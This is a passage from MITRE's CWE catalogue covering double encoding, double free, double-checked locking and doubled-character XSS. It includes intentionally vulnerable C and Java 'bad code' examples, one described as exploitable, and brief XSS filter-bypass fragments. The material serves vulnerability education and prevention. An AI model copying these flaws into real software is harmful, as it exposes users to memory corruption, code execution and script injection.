Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Probably under-studied.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDouble Encoding
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations
2008-09-08CWE Content TeamMITRE
updated Relationships, Observed_Example, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Double Encoding

CWE-415: Double Free

Weakness ID: 415
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.
+ Extended Description
When a program calls free() twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.
+ Alternate Terms
Double-free
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.666Operation on Resource in Wrong Phase of Lifetime
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1341Multiple Releases of Same Resource or Handle
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.825Expired Pointer Dereference
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.123Write-what-where Condition
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.416Use After Free
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.364Signal Handler Race Condition
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.672Operation on a Resource after Expiration or Release
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.672Operation on a Resource after Expiration or Release
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.672Operation on a Resource after Expiration or Release
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Modify Memory; Execute Unauthorized Code or Commands

Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code shows a simple example of a double free vulnerability.

(bad code)
Example Language:
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
free(ptr);
}
...
free(ptr);

Double free vulnerabilities have two common (and sometimes overlapping) causes:

  • Error conditions and other exceptional circumstances
  • Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than this example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 2

While contrived, this code should be exploitable on Linux distributions that do not ship with heap-chunk check summing turned on.

(bad code)
Example Language:
#include <stdio.h>
#include <unistd.h>
#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)

int main(int argc, char **argv) {
char *buf1R1;
char *buf2R1;
char *buf1R2;
buf1R1 = (char *) malloc(BUFSIZE2);
buf2R1 = (char *) malloc(BUFSIZE2);
free(buf1R1);
free(buf2R1);
buf1R2 = (char *) malloc(BUFSIZE1);
strncpy(buf1R2, argv[1], BUFSIZE1-1);
free(buf2R1);
free(buf1R2);
}
+ Observed Examples
ReferenceDescription
Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415).
Double free resultant from certain error conditions.
Double free resultant from certain error conditions.
Double free resultant from certain error conditions.
Double free from invalid ASN.1 encoding.
Double free from malformed GIF.
Double free from malformed GIF.
Double free from malformed compressed data.
+ Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.

Phase: Implementation

Use a static analysis tool to find double free instances.
+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3987PK - Code Quality
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.969SFP Secondary Cluster: Faulty Memory Release
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1162SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1237SFP Primary Cluster: Faulty Resource Release
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This is usually resultant from another weakness, such as an unhandled error or race condition between threads. It could also be primary to weaknesses such as buffer overflows.

Theoretical

It could be argued that Double Free would be most appropriately located as a child of "Use after Free", but "Use" and "Release" are considered to be distinct operations within vulnerability theory, therefore this is more accurately "Release of a Resource after Expiration or Release", which doesn't exist yet.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDFREE - Double-Free Vulnerability
7 Pernicious KingdomsDouble Free
CLASPDoubly freeing memory
CERT C Secure CodingMEM00-CAllocate and free memory in the same module, at the same level of abstraction
CERT C Secure CodingMEM01-CStore a new value in pointers immediately after free()
CERT C Secure CodingMEM30-CCWE More SpecificDo not access freed memory
CERT C Secure CodingMEM31-CFree dynamically allocated memory exactly once
Software Fault PatternsSFP12Faulty Memory Release
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Double Frees", Page 379. 1st Edition. Addison Wesley. 2006.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Maintenance_Notes, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Other_Notes
2010-09-27CWE Content TeamMITRE
updated Relationships
2010-12-13CWE Content TeamMITRE
updated Observed_Examples, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings, White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2020-06-25CWE Content TeamMITRE
updated Common_Consequences
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes, Theoretical_Notes
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-609: Double-Checked Locking

Weakness ID: 609
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.
+ Extended Description
Double-checked locking refers to the situation where a programmer checks to see if a resource has been initialized, grabs a lock, checks again to see if the resource has been initialized, and then performs the initialization if it has not occurred yet. This should not be done, as it is not guaranteed to work in all languages and on all architectures. In summary, other threads may not be operating inside the synchronous block and are not guaranteed to see the operations execute in the same order as they would appear inside the synchronous block.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.667Improper Locking
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.367Time-of-check Time-of-use (TOCTOU) Race Condition
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.411Resource Locking Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Modify Application Data; Alter Execution Logic

+ Demonstrative Examples

Example 1

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

(bad code)
Example Language: Java 
if (helper == null) {
synchronized (this) {
if (helper == null) {
helper = new Helper();
}
}
}
return helper;

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

(bad code)
 
helper = new Helper();

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

+ Potential Mitigations

Phase: Implementation

While double-checked locking can be achieved in some languages, it is inherently flawed in Java before 1.5, and cannot be achieved without compromising platform independence. Before Java 1.5, only use of the synchronized keyword is known to work. Beginning in Java 1.5, use of the "volatile" keyword allows double-checked locking to work successfully, although there is some debate as to whether it achieves sufficient performance gains. See references.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.853The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.986SFP Secondary Cluster: Missing Lock
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1143SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)LCK10-JDo not use incorrect forms of the double-checked locking idiom
Software Fault PatternsSFP19Missing Lock
+ References
[REF-490] David Bacon et al. "The "Double-Checked Locking is Broken" Declaration". <http://www.cs.umd.edu/~pugh/java/memoryModel/DoubleCheckedLocking.html>.
[REF-491] Jeremy Manson and Brian Goetz. "JSR 133 (Java Memory Model) FAQ". <http://www.cs.umd.edu/~pugh/java/memoryModel/jsr-133-faq.html#dcl>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 13, "Threading Vulnerabilities", Page 815. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Context_Notes
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Demonstrative_Examples
2009-01-12CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-12-13CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Double Checked Locking

CWE-85: Doubled Character XSS Manipulations

Weakness ID: 85
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The web application does not filter user-controlled input for executable script disguised using doubling of the involved characters.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.675Multiple Operations on Resource in Single-Operation Context
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Read Application Data; Execute Unauthorized Code or Commands

+ Observed Examples
ReferenceDescription
XSS using "<script".
Encoded "javascript" in IMG tag.
Extra "<" in front of SCRIPT tag.
+ Potential Mitigations

Phase: Implementation

Resolve all filtered input to absolute or canonical representations before processing.

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDOUBLE - Doubled character XSS manipulations, e.g. "<script"
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Description
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
